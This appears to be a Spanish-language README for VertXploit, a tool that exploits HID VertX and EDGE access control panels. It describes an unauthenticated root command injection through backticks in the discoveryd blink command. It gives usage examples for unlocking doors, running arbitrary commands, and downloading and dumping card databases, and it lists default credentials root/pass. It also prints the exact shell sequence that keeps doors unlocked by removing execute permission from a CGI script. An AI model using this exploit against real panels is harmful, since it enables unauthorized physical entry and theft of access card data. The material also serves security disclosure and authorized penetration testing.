
Explotando sistemas de control de acceso HID VertX y EDGE
Explotación de los sistemas de control de acceso HID VertX y EDGE
VertXploit es una herramienta que se puede utilizar para explotar los sistemas de control de acceso HID VertX y EDGE.
Existe una vulnerabilidad en el servicio discoveryd, que no sanea los datos del usuario antes de ejecutar llamadas al sistema. Esto permite la ejecución arbitraria de código en los sistemas de control de acceso HID VertX y EDGE sin necesidad de autenticación. Consulta la sección Inyección de comandos para obtener más información.
VertXploit puede desbloquear o bloquear las puertas conectadas al sistema de control de acceso, descargar las bases de datos que contienen todas las tarjetas de control de acceso aprovisionadas/en caché y ejecutar comandos arbitrarios como root en el sistema VertX, si es vulnerable.
Si el firmware del controlador VertX se ha actualizado recientemente, vertXploit intentará desbloquear o bloquear las puertas a través de la consola web utilizando el nombre de usuario y la contraseña predeterminados o proporcionados por el usuario.
Ejecuta pip install -r requirements.txt para instalar los módulos de Python necesarios.
Ejecuta ./vertXploit.py -h para mostrar el menú de ayuda, o ./vertXploit.py ACTION -h para mostrar la ayuda de una acción específica.
Ejecuta vertXploit solo con el argumento de acción discover para descubrir todos los sistemas de control de acceso HID en la red de difusión local. Si se proporciona una dirección IP con el argumento opcional --ip IP, vertXploit utilizará python-nmap para escanear ese rango de red /24 en busca de sistemas con el puerto 4050 abierto. A continuación, VertXploit enviará un paquete UDP de descubrimiento a la dirección IP identificada para determinar si ese sistema es un panel de control de acceso HID.
Ejemplo:
./vertXploit.py discover
./vertXploit.py discover --ip 10.1.10.5
Una vez descubierto un controlador, ejecuta vertXploit con el argumento de acción fingerprint y la dirección IP del controlador de acceso para obtener información detallada sobre el panel de control de acceso.
Ejemplo:
./vertXploit.py fingerprint 10.1.10.5
Para desbloquear o bloquear las puertas conectadas al panel de control de acceso, ejecuta vertXploit con el argumento de acción unlock o lock y la dirección IP del controlador. Si el controlador no es vulnerable al exploit de inyección de comandos, vertXploit intentará desbloquear o bloquear las puertas a través de la consola web. Este método utiliza el nombre de usuario 'root' y la contraseña 'pass' predeterminados, o puedes proporcionar los tuyos propios con los argumentos --username USERNAME y --password PASSWORD.
Ejemplo:
./vertXploit.py unlock 10.1.10.5
./vertXploit.py unlock 10.1.10.5 --username test --password test
Se pueden ejecutar comandos arbitrarios de Linux en el sistema de control de acceso utilizando el argumento de acción raw y la dirección IP del controlador. Es posible que el comando no se ejecute si no está instalado en el controlador (Python, Perl, Ruby, etc.). Como una simple prueba de concepto, el comando nativo de Linux 'ping' parece funcionar en todos los modelos VertX y EDGE probados.
Ejemplo:
./vertXploit.py raw 10.1.10.5 'ping -c 5 10.1.10.39'
Para descargar las bases de datos de tarjetas del controlador, ejecuta vertXploit con el argumento de acción download y la dirección IP del controlador. El controlador debe ser vulnerable a la vulnerabilidad de inyección de comandos y debes poder acceder a la interfaz web del controlador para descargar las dos bases de datos de tarjetas. Para la autenticación web se utilizan el nombre de usuario 'root' y la contraseña 'pass' predeterminados, o puedes proporcionar los tuyos propios con los argumentos --username USERNAME y --password PASSWORD.
Ejemplo:
./vertXploit.py download 10.1.10.5
./vertXploit.py download 10.1.10.5 --username test --password test
Después de descargar las bases de datos 'IdentDB' y 'AccessDB' del controlador, utiliza el argumento de acción dump para volcar el contenido de las bases de datos. Opcionalmente, puedes especificar la ruta de archivo local de las bases de datos con el argumento --path PATH.
Ejemplo:
./vertXploit.py dump
./vertXploit.py dump --path /root/VertX/DBs/
Normalmente, varios controladores de acceso VertX o EDGE se instalan y se alojan juntos. El comando de diagnóstico command_blink_on puede enviarse a un controlador específico, lo que hace que el LED físico "Comm" del panel parpadee para su identificación visual. Este comando suele terminar con el número de veces que el LED debe parpadear; en el siguiente caso, 30 veces.
command_blink_on;044;00:11:22:33:44:55;30;
Al sustituir el número de parpadeos por un comando de Linux encerrado entre comillas invertidas, el comando se ejecutará en el controlador de acceso como root.
command_blink_on;044;00:11:22:33:44:55;`ping -c 5 10.1.10.39`;
Para desbloquear y bloquear de forma remota las puertas conectadas al sistema de control de acceso, los comandos se escriben mediante echo en /tmp/a. Esto se hace porque existe un límite de 41 caracteres, sin contar las dos comillas invertidas, que se pueden enviar al controlador. Nota: se usa echo en lugar de printf porque algunos controladores VertX más antiguos ejecutan BusyBox < 1.0.1, que no incluye printf.
Los saltos de línea generados al escribir los comandos en el archivo se eliminan a continuación ejecutando tr -d '\n' < /tmp/a > /tmp/b, y los saltos de línea intencionados se insertan ejecutando tr '!' '\n' < /tmp/b > /tmp/a.
El script /tmp/a se ejecuta a continuación y ambos archivos se eliminan. A continuación se muestra qué comandos se escriben en /tmp/a cuando se envían los comandos de desbloqueo y bloqueo al controlador VertX.
# Set QUERY_STRING to the door unlock value
export QUERY_STRING="?ID=0&BoardType=VXXX&Description=Strike&Relay=1&Action=1"
# Run 'diagnostics_execute.cgi' script
/mnt/apps/web/cgi-bin/diagnostics_execute.cgi
# Remove executable permissions to prevent the door from locking
chmod -x /mnt/apps/web/cgi-bin/diagnostics_execute.cgi
# Enable executable permissions
chmod +x /mnt/apps/web/cgi-bin/diagnostics_execute.cgi
# Set QUERY_STRING to the door lock value
export QUERY_STRING="?ID=0&BoardType=VXXX&Description=Strike&Relay=1&Action=0"
# Run 'diagnostics_execute.cgi' script
/mnt/apps/web/cgi-bin/diagnostics_execute.cgi